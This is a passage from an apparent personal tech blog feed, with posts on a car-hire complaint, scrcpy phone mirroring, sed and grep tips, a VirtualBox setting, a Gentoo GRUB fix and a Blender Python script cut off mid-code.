   I ring the no-humans phone number and try for quite some time going through every menu option. Not to mention holding down various keys and choosing non-existent options. All I got was a rebuttal and hung up on.
 Eventually one option got me through to a real life person, who sadly could not transfer me to customer services but would hear my plea.
  </p>
  <p>
   Yes, that help-desk ticket was closed as RESOLVED and no there was no information that I had made the rental...
  </p>
  <p>
   ** Stage 6: The truth**
 But, and it's a big but, there was another department called Hertz247 that should be handling this.
 No, there was no way to be put through, had to start again and email them.
  </p>
  <p>
   So that is where we are today, they closed my ticket rather than helping me get in touch with the right department.
  </p>
  <p>
   Expect more to follow now I have contacted the "right" department.
  </p>
  <p>
   (*) The "hassle": To use the fuel card you needed the PIN. The PIN was on a small device screen that repeatedly crashed when trying to navigate the menus to find the PIN. It was supposed to be affixed to the vehicle dash, but instead flopped all over the place on a short lead making it very difficult to read.
  </p>
  <p>
   There was actually a whole lot of other issues, but I will not go in to detail as this is about the customer services after the hire.
  </p>
</description>
</item>
<item>
<title>fixomagico</title>
<pubDate>Wed, 22 Nov 2023 15:29:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2023.html#p221120231529</link>
<description>
  <p>
   Where is the Flog page gone?
  </p>
  <p>
   (hopefully adding this post will fix it)
  </p>
</description>
</item>
<item>
<title>android screen mirroring to linux</title>
<pubDate>Sun, 29 Oct 2023 20:14:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p291020232014</link>
<description>
  <p>
   I wanted to see how easy it was to mirror my Pixel 7 Pro Android phone screen to Linux. Turns out that it's quite easy.
  </p>
  <p>
   First turn on
   <em>
    Developer mode
   </em>
   on the phone and enable
   <em>
    USB debugging
   </em>
   .
  </p>
  <p>
   There is a trick to this. Supposedly so you cannot stumble across it by accident.
  </p>
  <p>
   Go to
   <em>
    Settings
   </em>
   and
   <em>
    About phone
   </em>
   and then keep tapping
   <em>
    Build number
   </em>
   until it tells you that
   <em>
    Developer mode
   </em>
   is enabled
  </p>
  <p>
   That unlocks a  new set of options under
   <em>
    Settings
   </em>
   /
   <em>
    System
   </em>
   /
   <em>
    Developer options
   </em>
   .
Under the heading of
   <em>
    Debugging
   </em>
   make sure that
   <em>
    USB debugging
   </em>
   is enabled.
  </p>
  <p>
   That is it from the phone side.
  </p>
  <p>
   Connect via USB and in Linux run
  </p>
  <pre><code>scrcpy
</code></pre>
  <p>
   After I had authorised the connection on my phone, the screen is shown in a new window on Linux!
  </p>
  <p>
   There are some tricks you probably want to know before going any further.
  </p>
  <p>
   Middle mouse button to
   <strong>
    Go To Home Screen
   </strong>
  </p>
  <p>
   Right mouse button to
   <strong>
    Go Back
   </strong>
  </p>
  <p>
   (you can also do this and a number of other actions via the keyboard shortcuts listed at the repo)
  </p>
  <p>
   <a href="https://github.com/Genymobile/scrcpy/blob/master/doc/shortcuts.md">
    scrcpy shortcuts
   </a>
  </p>
  <p>
   I was specifically looking to record the screen, but the phone kept locking.
  </p>
  <pre><code>scrcpy --no-audio --record=file.mp4 --stay-awake
</code></pre>
  <p>
   Will stop the phone locking while streaming and automatically saves the session as an MP4 video.
  </p>
  <p>
   There is quite a lot of useful documentation at
   <a href="https://github.com/Genymobile/scrcpy/">
    scrcpy GitHub repo
   </a>
  </p>
</description>
</item>
<item>
<title>lusha is coming for your children</title>
<pubDate>Fri, 27 Oct 2023 16:09:42 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p271020231609</link>
<description>
  <p>
   I got a weird email at work.
  </p>
  <pre><code>Subject: Notice of personal information processing. (This is not an advertisement)
</code></pre>
  <p>
   From a company that I have not heard of before, but has got a large footprint on the internet:
   <strong>
    Lusha
   </strong>
  </p>
  <p>
   It is a long and very detailed email, that basically says "
   <em>
    we have your details
   </em>
   "
  </p>
  <p>
   hmmm
  </p>
  <p>
   But the best bit is the attempt to be GDPR compliant.
  </p>
  <blockquote>
   <p>
    Lawful Basis
   </p>
   <p>
    Your personal information is processed by Lusha based on the legitimate interest of itself and its customers to engage in direct marketing.
   </p>
  </blockquote>
  <p>
   Which to me is the complete opposite of what "
   <em>
    Lawful Basis
   </em>
   " relates to in the GDPR. I have worked with companies that have literally had to retain personal data to comply with the law and they would have been in big trouble if they had not stored it.
  </p>
  <p>
   So they scrape data. Possibly against a sites terms and conditions. But based on the following we will never know.
  </p>
  <blockquote>
   <p>
    Lusha gathers personal information from several sources, which include publicly available sources such as websites and government records, contributions from our customers, third party data providers, and members of the Lusha Community Program. Our proprietary algorithm scans publicly available sources and retrieves public information with advanced tools. Because information from several sources may be combined into one record, it may be difficult or near impossible to identify the exact source of one particular piece of information.
   </p>
  </blockquote>
  <p>
   This all leave me wordless ...
  </p>
  <p>
   Googling Lusha and GDPR, show they are looking for chinks in the GDPR armour where ever they can.
  </p>
  <p>
   One word: "
   <em>
    scary
   </em>
   "
  </p>
</description>
</item>
<item>
<title>copy target from grep and xargs</title>
<pubDate>Fri, 27 Oct 2023 12:39:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p271020231239</link>
<description>
  <p>
   Quick random console tit-bit
  </p>
  <p>
   I had large number of files with a
   <strong>
    keyword
   </strong>
   in and only a few that I needed copied to folder so I could work on them.
  </p>
  <pre><code>grep -il keyword * | xargs cp -t /tmp/workingdir/
</code></pre>
  <p>
   The magic is specifying the
   <em>
    cp
   </em>
   <strong>
    target directory
   </strong>
   option
   <strong>
    -t
   </strong>
  </p>
  <p>
   Without it
   <em>
    cp
   </em>
   does not understand what you are trying to do and fails trying to copy the first file to the last file (as a folder)
  </p>
</description>
</item>
<item>
<title>it is a feature the power button falling off</title>
<pubDate>Sun, 08 Oct 2023 11:51:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p081020231151</link>
<description>
  <p>
   I currently have a Pixel 7 Pro phone at the moment thanks to an anonymous donation. So I was a bit disappointed when the power button fell off!
  </p>
  <p>
   Luckily I had the official case and that happily holds the button back on.
  </p>
  <p>
   Normally I wouldn't defend this sort of stuff, but I am trying to deal with so many things at the moment I am just going to suck it up and ignore it.
  </p>
</description>
</item>
<item>
<title>power cable for a power supply no why</title>
<pubDate>Sun, 08 Oct 2023 11:28:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p081020231128</link>
<description>
  <p>
   I was/am a tech hoarder. But moving house and previously downsizing did require me to be a bit ruthless. OK, very ruthless, but I had literally no space to keep anything extra.
  </p>
  <p>
   One of the things that got junked was a huge collection of power cables. There were multiple wall-warts for long dead items and with no way of ever identifying what they were for. There was many kettle cables, including two pin versions and an assortment of lengths with UK plugs.
  </p>
  <p>
   I could only recall a couple of times ever needing to find an extra cable and even then it was because I was too lazy to go fishing behind a desk or TV unit. So I took the lot to the tip and didn't think much about it. Until ...
  </p>
  <p>
   My friend bought a GameMax PSU for their new PC build and
   <strong>
    it didn't come with a power cable!
   </strong>
  </p>
  <p>
   They complained to the Amazon seller to find that it does actually same in the listing that it is sans-cable.
  </p>
  <p>
   I was a bit stunned. Why would you sell a
   <strong>
    power
   </strong>
   supply without a
   <strong>
    power
   </strong>
   cable?
  </p>
  <p>
   Very luckily I did actual find a spare to give them.
  </p>
  <p>
   I was also recently bitten by an Amazon purchase where I got what the listing details. When I cannot think of why a customer would want one with out the key ingredient and for an exorbitant price.
  </p>
  <p>
   Buyer beware !!
  </p>
</description>
</item>
<item>
<title>where is the power switch cable building someone elses pc</title>
<pubDate>Sun, 08 Oct 2023 11:16:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p081020231116</link>
<description>
  <p>
   I was helping a friend build a PC. They had researched and bought all the components without my help and attempted to construct the unit.
  </p>
  <p>
   When it got to me it was not working and never had even powered on.
  </p>
  <p>
   I found numerous issues. From cables not being completely connected to components in backwards or just not fully seated.
  </p>
  <p>
   I ripped it apart and started again from scratch...
  </p>
  <p>
   Only to find I could not get it to power on...
  </p>
  <p>
   I have built a number of computers from the 286, through Pentiums to 64bit chipsets. I have a reasonable understanding of how to build and troubleshoot computer builds.
  </p>
  <p>
   But this one had me stumped. The case, a very nice
   <a href="https://www.fractal-design.com/products/cases/meshify/meshify-2-rgb/white-tg-clear-tint/">
    Fractal Meshify 2 RGB (white)
   </a>
   , has some tricky
   <em>
    bits
   </em>
   .
  </p>
  <p>
   Normally that would refer to the case volume or cable management, but not in this case (pun not intended).
  </p>
  <p>
   More annoyingly these issues only affect the RGB model. There are a number of connections from the case to the motherboard for USB. Nothing unusual there except these were not the standard USB port headers... Because of this and the fact I could not find the front panel cables anywhere (I unscrewed the entire head unit), I assumed that the USB was handling the RGB and the case front panel.
  </p>
  <p>
   There was another annoyance with the motherboard.
   <strong>
    MSI PRO B760-P Wifi DDR4
   </strong>
   . There is no light to indicate when it is powered.
  </p>
  <p>
   So after using the
   <em>
    paper-clip
   </em>
   trick to confirm the PSU was at least working I advised sending the motherboard back as faulty.
  </p>
  <p>
   I then found that there was a single cable for PWR SW coming from the case, but it had been plugged into a fan controller.
  </p>
  <p>
   Finally got a replacement motherboard and this had the same weird USB connectors.
   <strong>
    Gigabyte Z690 UD DDR4
   </strong>
   . But this time I had the very clear power switch cable and the pin layout to add it correctly. It powered on. Tiny LEDS on the motherboard and then the BIOS came up.
  </p>
  <p>
   Still couldn't work out how the RGB was supposed to work, so instead just connected all four case fans to the power and they also worked. There is no information about the RGB other than a diagram of plugging in cables to one another in a chain. But there are two sets of cable per fan and it is unclear what you are supposed to do.
  </p>
  <p>
   Owner was happy, as this was an expensive set of components and they had been trying to get a working PC for a while.
  </p>
  <p>
   To avoid this post getting to rambling and long I am going to add some other less related notes to another post.
  </p>
</description>
</item>
<item>
<title>Thrice Upon a Time is number four and comes after redo</title>
<pubDate>Sun, 08 Oct 2023 10:41:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p081020231041</link>
<description>
  <p>
   I arranged to take an Anime fan to see
   <strong>
    Evangelion: 3.0+1.0 Thrice Upon a Time
   </strong>
   in the cinema as a special treat.
  </p>
  <p>
   We had both seen it before on the small screen Dubbed and were Neon Genesis fans.
  </p>
  <p>
   Watching it Subtitled on the big screen was a memorable experience. The immersive sound and huge visuals made it so much
   <strong>
    more
   </strong>
   .
  </p>
  <p>
   This is the forth film and directly follows from the events of
   <strong>
    Evangelion: 3.0 You Can (Not) Redo
   </strong>
   . Starting with a very rapid recap of previous plot lines.
  </p>
  <p>
   Neon Evangelion is a complex beast and not at all the Fighting Mecha it seems to be on the surface. In fact it gets very very deep on philosophical matters about what is means to be human and the future of humanity.
  </p>
  <p>
   It is a serious investment to watch all the episodes and then all the films (some of which are built using scenes from the series). But in my opinion totally worth it.
  </p>
</description>
</item>
<item>
<title>no more rent to pay but now i have a mortgage</title>
<pubDate>Sun, 08 Oct 2023 10:19:57 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2023.html#p081020231019</link>
<description>
  <p>
   I have finally moved house !
  </p>
  <p>
   Out of rented accommodation and into a house I can call a home.
  </p>
  <p>
   It has been quite a ride to get here and now I am surrounded by boxes and bags and all sorts of DIY jobs.
  </p>
  <p>
   I made an offer on the property, that was accepted immediately, back at the beginning of May and I moved in at the end of August. This was with neither party having any kind of chain.
  </p>
</description>
</item>
<item>
<title>you took that long to move</title>
<pubDate>Wed, 27 Sep 2023 21:23:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2023.html#p270920232123</link>
<description>
  <p>
   I have moved house !
  </p>
  <p>
   It has taken a long while.
  </p>
  <p>
   Put the offer in and had it accepted at the beginning of May.
  </p>
  <p>
   Was hoping for 2-3 weeks before completion, as there was no chain on either side...
  </p>
  <p>
   Three months later...
  </p>
  <p>
   Actually handed back the keys to the rented maisonette I was staying at after revisiting it almost every day for the last two weeks to clean it from top to bottom.
  </p>
  <p>
   Will I get my deposit back?
  </p>
  <p>
   and just because nothing quite makes sense, I am going Axe throwing!
  </p>
</description>
</item>
<item>
<title>edge case created to test edge case</title>
<pubDate>Thu, 17 Aug 2023 23:35:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2023.html#p170820232335</link>
<description>
  <p>
   So there is an edge case where that does not work :(
  </p>
  <p>
   luckily it shouldn't come up too often.
  </p>
</description>
</item>
<item>
<title>who highlighted what when highlighting encoded entities</title>
<pubDate>Thu, 17 Aug 2023 23:32:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2023.html#p170820232332</link>
<description>
  <p>
   What was all that silliness about?
  </p>
  <p>
   The less than sign, greater than sign and ampersand symbol were showing correctly on the page as long as they were not in a
   <code>
    block.
   </code>
  </p>
  <p>
   When they were in
   <code>
    blocks the
    <a href="https://github.com/highlightjs/">
     highlight.js
    </a>
    was double encoding the entities.
   </code>
  </p>
  <p>
   There seems no way around this so I just added a quick regex
  </p>
  <pre><code>let result = hljs.highlightAuto(target).value;
pattern = new RegExp('&amp;amp;', 'sg');
result = result.replace(pattern, '&amp;');
</code></pre>
  <p>
   That fixed it.
  </p>
</description>
</item>
<item>
<title>testing highlight entity encoding</title>
<pubDate>Thu, 17 Aug 2023 23:25:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2023.html#p170820232325</link>
<description>
  <p>
   This is a test, please stay calm, or at least quiet and don't fidget or highlight anything...
  </p>
  <pre><code>&amp;&amp;&amp;&amp;
&gt;&gt;&gt;&gt;
&lt;&lt;&lt;&lt;
</code></pre>
  <p>
   &amp;&lt;&gt;
  </p>
  <p>
   If you or any one within this dimension have suffered unexplained desire for sugar during this test, then please seek chocolate immediately.
  </p>
</description>
</item>
<item>
<title>testing stand clear of all html entities</title>
<pubDate>Thu, 17 Aug 2023 22:44:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2023.html#p170820232244</link>
<description>
  <p>
   This is a test, please stay calm, or at least quiet and don't fidget...
  </p>
  <pre><code>&amp;&amp;&amp;&amp;
&gt;&gt;&gt;&gt;
&lt;&lt;&lt;&lt;
</code></pre>
  <p>
   &amp;&lt;&gt;
  </p>
  <p>
   If you or any one on the planet Earth have suffered an unexpected increase in barometric pressure during this test, then please seek atmospheric assistance immediately.
  </p>
</description>
</item>
<item>
<title>testing please stand clear of ALL html entities</title>
<pubDate>Thu, 17 Aug 2023 22:35:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2023.html#p170820232235</link>
<description>
  <p>
   This is a test, please stay calm, or at least quiet...
  </p>
  <pre><code>&amp;&amp;&amp;&amp;
&gt;&gt;&gt;&gt;
&lt;&lt;&lt;&lt;
</code></pre>
  <p>
   &amp;&lt;&gt;
  </p>
  <p>
   If you or any one with a 50 mile radius have suffered a lack of gravity during this test, then please seek physical assistance immediately.
  </p>
</description>
</item>
<item>
<title>testing please stand clear of the html entities</title>
<pubDate>Thu, 17 Aug 2023 22:09:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2023.html#p170820232209</link>
<description>
  <p>
   This is a test, please stay calm...
  </p>
  <pre><code>&amp;&amp;&amp;&amp;
&gt;&gt;&gt;&gt;
&lt;&lt;&lt;&lt;
</code></pre>
  <p>
   &amp;&lt;&gt;
  </p>
  <p>
   If you or any of your appendages have suffered serious burns during this test, then please seek medial assistance immediately.
  </p>
</description>
</item>
<item>
<title>right said sed duplicate and delete</title>
<pubDate>Thu, 17 Aug 2023 21:48:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2023.html#p170820232148</link>
<description>
  <p>
   Been doing some scripting at work with
   <code>
    sed
   </code>
   (command line Stream EDitor.
  </p>
  <p>
   Learned a few tricks that I want to immortalise on this flog.
  </p>
  <p>
   Let's create a test file with three distinct lines.
  </p>
  <pre><code>echo "line 1 content A" &gt;&gt; /tmp/file
echo "line 2 content B" &gt;&gt; /tmp/file
echo "line 3 content C" &gt;&gt; /tmp/file
cat /tmp/file
line 1 content A
line 2 content B
line 3 content C
</code></pre>
  <p>
   and then run
  </p>
  <pre><code>cat /tmp/file | sed -re '/line 1/p;/line 3/d;s/line 1/line ONE/'
</code></pre>
  <p>
   to get the output of
  </p>
  <pre><code>line 1 content A
line ONE content A
line 2 content B
</code></pre>
  <p>
   That sed command breaks down into
  </p>
  <ol>
   <li>
    Find a line that matches "line 1" and then
    <strong>
     P
    </strong>
    rint it
   </li>
   <li>
    Find a line that matches "line 3 and
    <strong>
     D
    </strong>
    elete it
   </li>
   <li>
    Find the text "line 1" and
    <strong>
     S
    </strong>
    ubstitute it with the text "line One"
   </li>
  </ol>
  <p>
   This is incredibly powerful and I have been using it to migrate one programming framework to another.
  </p>
  <p>
   Make backups of lines that need changing and marking them as comments. Deleting unused lines completely. Reformatting syntax.
  </p>
</description>
</item>
<item>
<title>a jittery dance in the ancient dungeon</title>
<pubDate>Fri, 14 Jul 2023 12:46:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2023.html#p140720231246</link>
<description>
  <p>
   I hadn't played
   <a href="Nov2022.html#p121120221808">
    Ancient Dungeon
   </a>
   for a while on the Oculus Quest 2(*), so I was a bit surprised when I tried to play it that I could not move forward!
  </p>
  <p>
   I could consistently move backwards and sideways without issue.
  </p>
  <p>
   Moving forward,
   <em>
    bounced
   </em>
   me around. Not a pleasant feeling.
  </p>
  <p>
   Sometimes a lot and some random sliding while I was motionless and other times just tiny tweaks to the amount I moved.
  </p>
  <p>
   First attempt at fixing was to reboot.
  </p>
  <p>
   <em>
    No change
   </em>
  </p>
  <p>
   Then to redraw the quest active boundary.
  </p>
  <p>
   <em>
    No change
   </em>
  </p>
  <p>
   Then play with all the movement settings in the app. Turning things off and on again is a surprisingly effective strategy.
  </p>
  <p>
   <em>
    No change
   </em>
  </p>
  <p>
   Check the room for mirrors, reflective surfaces or moving items. Basically anything that might throw off the tracking.
  </p>
  <p>
   <em>
    No change
   </em>
  </p>
  <p>
   Then to try the old Beta version I still had installed.
  </p>
  <p>
   That one worked fine.
  </p>
  <p>
   But after playing with the beta movement settings and going back to the main app IT WORKED!
  </p>
  <p>
   So I have no idea what is happening. Jut happy to playing in the dungeon again!
  </p>
  <p>
   (*)It was bought before Meta changed the name.
  </p>
</description>
</item>
<item>
<title>reprint and swap for pie safety</title>
<pubDate>Fri, 14 Jul 2023 12:29:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2023.html#p140720231229</link>
<description>
  <p>
   I have been 3D printing character name holders for my D&amp;D friends.
  </p>
  <p>
   Everyone loves them and they are so cheap that I can give them away.
  </p>
  <p>
   <img alt="Character name holder model in blender" src="/home/rednuht/projects/flog/images/3dprint-name-holder.png"/>
  </p>
  <p>
   and ages ago I created a Raspberry Pi attachment for my 3D printer.
  </p>
  <p>
   But it has a fatal flaw, the stiffness of the cables coming from the Pi cause it work its way out of the arm and drop off.
  </p>
  <p>
   As the Pi has the LEDs illuminating the print, this makes it difficult to monitor the printing process.
  </p>
  <p>
   Luckily I developed the attachment in two parts.
  </p>
  <p>
   The clip for the printer
  </p>
  <p>
   <img alt="Model of Ender 3v2 clip" src="/home/rednuht/projects/flog/images/3dprint-ender3v2-pi-holder-clip.png"/>
  </p>
  <p>
   The Pi holder
  </p>
  <p>
   <img alt="3d model of pi arm" src="/home/rednuht/projects/flog/images/3dprint-ender3v2-pi-holder-arm.png"/>
  </p>
  <p>
   So I have just tweaked the design of the arm and swapped it over.
  </p>
  <p>
   <img alt="3d model of upgraded pi arm" src="/home/rednuht/projects/flog/images/3dprint-ender3v2-pi-holder-upgrade.png"/>
  </p>
  <p>
   Note how the forks of the arms come together and there are nodules to stop the Pi falling out!
  </p>
  <p>
   It is not quite perfect, but I don't need to print a revision, the Pi stays put.
  </p>
</description>
</item>
<item>
<title>idiots dont save their work virtually</title>
<pubDate>Fri, 14 Jul 2023 12:08:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2023.html#p140720231208</link>
<description>
  <p>
   Part of my OPSEC is to run a browser in a VM.
  </p>
  <p>
   I use VirtualBox and at the end of each session I restore the VM to its previous state, removing any trace it was ever used.
  </p>
  <p>
   This used to work perfectly. At the end of the session I would close the VirtualBox window and it would ask me what I wanted to do with the running VM. It would revert all the changes and leave the VM ready for the next session.
  </p>
  <p>
   All good!
  </p>
  <p>
   <img alt="VirtualBox shutdown dialog" src="/home/rednuht/projects/flog/images/VirtualBox_shutdown_2023-07-13_14-03-39.png"/>
  </p>
  <p>
   Except, some people(*) managed to set the
   <em>
    restore
   </em>
   option as their default, forget that they had done that and then lose all their work.
  </p>
  <p>
   After a number of people(*) shouting at VirtualBox engineers about data loss, VirtualBox
   <strong>
    removed
   </strong>
   the checkbox.
  </p>
  <p>
   Which scuppered me. I now had to go to the snapshots and restore the correct one each time.
  </p>
  <p>
   More users(**) like me complained that this was how VMs are supposed to work and eventually a workaround was found.
  </p>
  <p>
   There is a hidden option for the state of the original checkbox and this can be set with the command.
  </p>
  <pre><code>VBoxManage  setextradata "MYVMNAME" GUI/DiscardStateOnPowerOff 1
</code></pre>
  <p>
   All good, everyone happy!
  </p>
  <p>
   ...
  </p>
  <p>
   Until the next update.
  </p>
  <p>
   ...
  </p>
  <p>
   When that value gets reset. Not a huge problem just run the command again.
  </p>
  <pre><code>VBoxManage  setextradata "MYVMNAME" GUI/DiscardStateOnPowerOff 1
</code></pre>
  <p>
   Most people happy.
  </p>
  <p>
   Until the update that broke it and reintroduced the checkbox, but crucially didn't honour the
   <strong>
    GUI/DiscardStateOnPowerOff
   </strong>
   value !!!
  </p>
  <p>
   Agh!
  </p>
  <p>
   So I have to make sure I tick the box during shutdown at the end of every session :(
  </p>
  <p>
   (*) It is difficult to stress how much I want to put insults here.
   <strong>
    <em>
     They
    </em>
   </strong>
   set the damn value and then they ignored the GUI!!
  </p>
  <p>
   (**) Who want computers to do what they are told, consistently.
  </p>
</description>
</item>
<item>
<title>a case sensitive little grub</title>
<pubDate>Fri, 14 Jul 2023 11:33:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2023.html#p140720231133</link>
<description>
  <p>
   A quick and slightly odd
   <a href="https://gentoo.org">
    Gentoo
   </a>
   updating story.
  </p>
  <p>
   <a href="https://gentoo.org">
    Gentoo
   </a>
   builds everything that is installed from source code. This differs in the way most (if not all)
   <a href="https://distrowatch.com">
    Linux distros
   </a>
   work. The other distros will update your house by removing the existing one and replacing it with an out-of-the-box ready-to-go building. What if you lived on a steep hill and those styles of house just didn't work? This is where
   <a href="https://gentoo.org">
    Gentoo
   </a>
   comes in, the upgrade would build the new building brick by brick and ask nicely if you have any specific requirements.
  </p>
  <p>
   I like to manage my Gentoo upgrades manually. I check if there are any upgrades and check I want them with
  </p>
  <pre><code>emerge --sync &amp;&amp; emerge --pretend --update --deep world
</code></pre>
  <p>
   Then I actually download and start the install process
  </p>
  <pre><code>tail -f /var/log/emerge-fetch.log&amp;
emerge -avDNuUt world
</code></pre>
  <p>
   At the end there is a list of post install notes. Most commonly benign, but sometimes I have to make a change based on one of more of the packages notes.
  </p>
  <p>
   This time it was
   <a href="https://www.gnu.org/software/grub/">
    Grub
   </a>
   , the boot manager.
  </p>
  <pre><code> * Messages for package sys-boot/grub-2.06-r7:

 * For information on how to configure GRUB2 please refer to the guide:
 *     https://wiki.gentoo.org/wiki/GRUB2_Quick_Start
 * 
 * Re-run grub-install to update installed boot code!
 * Re-run grub-mkconfig to update grub.cfg!
 *
</code></pre>
  <p>
   Well that sounds straight forward...
  </p>
  <pre><code>grub-install

Installing for x86_64-efi platform.
grub-install: error: cannot find EFI directory.
</code></pre>
  <p>
   Oh! Maybe I don't have
   <strong>
    <em>
     /boot
    </em>
   </strong>
   mounted?
  </p>
  <pre><code>mount | grep -i boot

/dev/sda1 on /boot type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
</code></pre>
  <p>
   Nope.
  </p>
  <p>
   Or maybe I don't have an
   <strong>
    EFI
   </strong>
   partition
  </p>
  <pre><code>fdisk -l /dev/sda1

Device       Start       End   Sectors   Size Type
/dev/sda1     2048    526335    524288   256M EFI System
</code></pre>
  <p>
   Nope.
  </p>
  <p>
   Maybe there is no
   <strong>
    EFI
   </strong>
   directory?
  </p>
  <pre><code>ls /boot/

EFI
(other files/folders excluded)
</code></pre>
  <p>
   Nope.
  </p>
  <p>
   So what was going on?
  </p>
  <p>
   I would seem the default for
   <a href="https://www.gnu.org/softwaregrub/">
    Grub
   </a>
   is
   <strong>
    <em>
     /boot/efi
    </em>
   </strong>
  </p>
  <p>
   and as Linux is case sensitive ... that's a problem ... that is easily fixed :D
  </p>
  <pre><code>grub-install --efi-directory=/boot/EFI
</code></pre>
  <p>
   Maybe if
   <a href="https://www.gnu.org/software/grub/'">
    Grub's
   </a>
   error message had listed the target as
   <strong>
    <em>
     /boot/efi
    </em>
   </strong>
   I would have caught on earlier \_%_/
  </p>
</description>
</item>
<item>
<title>the blip</title>
<pubDate>Fri, 14 Jul 2023 11:01:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2023.html#p140720231101</link>
<description>
  <p>
   Bit of a gap in service there \_%_/
  </p>
  <p>
   Not sure when I last had
   <strong>
    TWO
   </strong>
   months missing.
  </p>
  <p>
   Anyway, hopefully it was a blip and things will get back to normal-ish.
  </p>
  <p>
   Still trying to move house and other
   <em>
    fun
   </em>
   life changes/issues.
  </p>
  <p>
   But, I have done bits and pieces :)
  </p>
</description>
</item>
<item>
<title>oopsie</title>
<pubDate>Sun, 23 Apr 2023 12:02:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2023.html#p230420231202</link>
<description>
  <p>
   Oops, not sure what happened there...
  </p>
  <p>
   erm, lets just move on :D
  </p>
</description>
</item>
<item>
<title>a bit of blender python magic to project the knife post fixed</title>
<pubDate>Sun, 23 Apr 2023 11:59:08 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2023.html#p230420231159</link>
<description>
  <p>
   I could have spent about 10 minutes doing this manually...
  </p>
  <p>
   but where is the fun in that??
  </p>
  <p>
   There will be a video soon that shows me creating a D20x20 dice in Blender.
  </p>
  <p>
   It is for 3D printing, but my numerous print attempts were coming up short and someone made a very obvious suggestion.
  </p>
  <blockquote>
   <p>
    "Change the depth of the 20 on each face".
   </p>
  </blockquote>
  <p>
   For some reason this was the only time I didn't save a version at a useful point.
  </p>
  <p>
   This code DOES NOT WORK (well, not consistently)
  </p>
  <pre><code>import bpy;

target = '20-text.015'
base_iso = 'base iso'

def get_context(type) :
    for area in bpy.context.screen.areas:
        if area.type == type:
            override = bpy.context.copy()
            override['area'] = area
            return [override, area]
    raise Exception("ERR no context found")

def align_view_to_face(context, ob) :
    bpy.ops.view3d.view_axis(context[0], type='TOP', align_active=True)
    space = context[1].spaces.active
    space.region_3d.view_perspective = 'ORTHO'

context = get_context('VIEW_3D')
target_ob = bpy.data.objects[target]
base_ob = bpy.data.objects[base_iso]

# reset to known state
bpy.ops.object.mode_set(mode = 'OBJECT')
bpy.ops.object.select_all(action='DESELECT')
bpy.context.view_layer.objects.active = None

# align view to target
bpy.context.view_layer.objects.active = target_ob
align_view_to_face(context, target_ob)

# prep edit
base_ob.select_set(True)
target_ob.select_set(True)

bpy.context.view_layer.objects.active = base_ob
bpy.ops.object.mode_set(mode = 'EDIT')

# knife project
# extrude
</code></pre>
  <p>
   It was simple test code that
  </p>
  <ul>
   <li>
    Got the view to work in
   </li>
   <li>
    Reset the environment
   </li>
   <li>
    Aligned the view to target object
   </li>
   <li>
    Selected the curve to cut with and the base mesh to cut in to
   </li>
   <li>
    Set the
    <strong>
     Active
    </strong>
    object
   </li>
   <li>
    Switch into
    <strong>
     Edit
    </strong>
    mode
   </li>
  </ul>
  <p>
   The scary thing is that it
   <em>
    almost
   </em>
   works,
   <em>
    mostly
   </em>
   works. It just every now and the then aligns the view incorrectly. Running it twice means the second time always works.
  </p>
  <p>
   The rule with writing Blender scripts is to avoid doing actions directly in the view, but
   <strong>
    Knife Project
    <em>
     needs
    </em>
   </strong>
   a correctly oriented view to work.
  </p>
  <p>
   Here is the complete code, mostly copied from this
   <a href="https://blender.stackexchange.com/questions/145527/blender-2-8-python-knife-project#145568">
    Stack Overflow post
   </a>
  </p>
  <pre><code>import bpy;

target = '20-text.015'
base_iso = 'base iso'

def getArea(type):
    for screen in bpy.context.workspace.screens:
        for area in screen.areas:
            if area.type == type:
                return area

override = {'area': getArea('VIEW_3D')}

for ns3d in getArea('VIEW_3D').spaces:
    if ns3d.type == "VIEW_3D":
        break

# https://blender.stackexchange.com/questions/15118/how-do-i-override-context-for-bpy-ops-mesh-loopcut
win      = bpy.context.window
scr      = win.screen
areas3d  = [getArea('VIEW_3D')]
region   = [region for region in areas3d[0].regions if region.type == 'WINDOW']

override = {'window':win,
            'screen':scr,
            'area'  :getArea('VIEW_3D'),
            'region':region[0],
            'scene' :bpy.context.scene,
            'space' :getArea('VIEW_3D').spaces[0],
            }

target_ob = bpy.data.objects[target]
base_ob = bpy.data.objects[base_iso]

# reset to known state
bpy.ops.object.mode_set(mode = 'OBJECT')
bpy.ops.object.select_all(action='DESELECT')
bpy.context.view_layer.objects.active = None

# align view to target
bpy.context.view_layer.objects.active = target_ob

if ns3d.region_3d.view_perspective == 'PERSP':
    bpy.ops.view3d.view_persportho(override)

bpy.ops.view3d.view_selected(override)
bpy.ops.view3d.view_axis(override, type='TOP', align_active=True)

# Update region:
ns3d.region_3d.update()

# prep edit
base_ob.select_set(True)
target_ob.select_set(True)

bpy.context.view_layer.objects.active = base_ob
bpy.ops.object.mode_set(mode = 'EDIT')

# knife project
bpy.ops.mesh.knife_project(override)

# extrude
bpy.ops.mesh.extrude_region_shrink_fatten(
    MESH_OT_extrude_region={
